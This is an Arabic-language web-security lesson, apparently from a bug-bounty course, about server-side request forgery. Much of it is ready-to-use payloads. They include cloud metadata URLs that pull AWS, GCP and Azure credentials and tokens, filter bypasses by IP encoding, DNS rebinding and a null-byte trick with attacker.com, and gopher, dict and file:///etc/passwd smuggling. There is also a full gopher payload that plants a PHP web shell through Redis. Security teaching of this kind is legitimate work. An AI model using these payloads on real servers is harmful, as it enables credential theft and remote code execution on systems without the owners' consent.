الدرس 12 من 24

فئات ثغرات الويب

تزوير طلبات جانب الخادم (SSRF)

3 دقيقة للقراءة

SSRF يخدع الخوادم لإجراء طلبات لمواقع غير مقصودة. إنها ثغرة عالية التأثير يمكن أن تؤدي للوصول للشبكة الداخلية، سرقة بيانات السحابة الوصفية، وRCE.

كيف يعمل SSRF

إدخال المستخدم: https://attacker.com/image.jpg
التطبيق يجلب URL
بدلاً من ذلك: http://169.254.169.254/meta-data/
الخادم يعيد بيانات داخلية للمهاجم

نقاط دخول SSRF الشائعة

الميزة مثال المعامل
معاينة URL url=، link=
إنشاء PDF document_url=
جلب الصور image_url=، avatar=
Webhooks callback_url=
استيراد الملفات import_url=
تكاملات API endpoint=

اختبار SSRF الأساسي

# الخطوة 1: حدد معاملات URL
GET /fetch?url=https://example.com

# الخطوة 2: اختبر مع callback الخاص بك
GET /fetch?url=https://your-server.com/ssrf-test

# الخطوة 3: تحقق إذا الخادم يجري الطلب
# راقب سجلات خادمك للاتصال الوارد

# الخطوة 4: استهدف الموارد الداخلية
GET /fetch?url=http://127.0.0.1:80
GET /fetch?url=http://localhost/admin
GET /fetch?url=http://192.168.1.1/

استغلال بيانات السحابة الوصفية

AWS

# بيانات المثيل الوصفية
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# احصل على بيانات اعتماد دور IAM
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# بيانات المستخدم (قد تحتوي أسرار)
http://169.254.169.254/latest/user-data/

GCP

# يتطلب رأس: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure

# يتطلب رأس: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

تقنيات التجاوز

تشويش عنوان IP

# التدوين العشري
http://2130706433/  # = 127.0.0.1

# التدوين السداسي عشري
http://0x7f000001/

# التدوين الثماني
http://0177.0.0.1/

# IPv6
http://[::1]/
http://[0:0:0:0:0:0:0:1]/

# ترميز URL
http://127.0.0.1%00@attacker.com/

إعادة ربط DNS

# أعد DNS ليحل لـ IP داخلي
# الحل الأول: IP المهاجم (يمر من التحقق)
# الحل الثاني: 127.0.0.1 (الطلب الفعلي)

# خدمات مثل rebind.it، nip.io
http://127.0.0.1.nip.io/

تهريب البروتوكول

# بروتوكولات مختلفة
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a  # Redis
dict://127.0.0.1:11211/stats  # Memcached
file:///etc/passwd  # قراءة ملف محلي

SSRF الأعمى

عندما لا يمكنك رؤية الاستجابة:

# الكشف القائم على الوقت
# استهدف نقطة نهاية بطيئة، قس وقت الاستجابة

# الكشف خارج النطاق
# استخدم Burp Collaborator أو مشابه
url=http://<collaborator-id>.burpcollaborator.net/

# استهدف الخدمات الداخلية التي تسبب آثاراً جانبية
# مثل إرسال بريد، إنشاء ملف، تعديل قاعدة البيانات

SSRF إلى RCE

Redis (المنفذ 6379)

# استخدام بروتوكول gopher
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$34%0d%0a%0a%0a<?php system($_GET['c']); ?>%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

الخدمات الداخلية

# Solr admin
http://127.0.0.1:8983/solr/admin/

# Jenkins
http://127.0.0.1:8080/script

# Elasticsearch
http://127.0.0.1:9200/_cluster/health

إثبات التأثير

لتقارير الثغرات، أثبت تأثيراً ملموساً:

## إثبات تأثير SSRF

### الوصول لبيانات AWS الوصفية
- استرجعت بيانات اعتماد IAM للدور: webapp-prod
- بيانات الاعتماد تسمح بإدراج دلاء S3
- 47 دلو متاح بما في ذلك customer-data-backup

### الوصول للشبكة الداخلية
- مسح المنافذ كشف 3 خوادم ويب داخلية
- Jenkins (8080) متاح بدون مصادقة
- Redis (6379) يسمح بالوصول غير المصادق

مكافآت من العالم الحقيقي

الشركة التأثير المكافأة
Shopify الوصول لبيانات AWS الوصفية 25,000 دولار
GitLab مسح الشبكة الداخلية 10,000 دولار
Uber الوصول للخدمة الداخلية 12,500 دولار
Facebook بيانات السحابة الوصفية 15,000 دولار

نصائح الاختبار

  1. تحقق من كل معامل URL: حتى غير المباشرة
  2. اختبر معالجة البروتوكول: file://، gopher://، dict://
  3. جرب تقنيات التجاوز: عندما تفشل الحمولات الأساسية
  4. ارسم الشبكة الداخلية: بمجرد تأكيد SSRF، عدد
  5. سلسل مع ثغرات أخرى: SSRF + خدمة داخلية ضعيفة = حرجة

نصيحة احترافية: بيانات السحابة الوصفية هي الكنز المقدس لـ SSRF. اختبر دائماً 169.254.169.254 أولاً—بيانات الاعتماد المسربة غالباً تعني خطورة حرجة.

الوحدة التالية: سنستكشف تقنيات الاستغلال المتقدمة. :::

اختبار

الوحدة 3: فئات ثغرات الويب

خذ الاختبار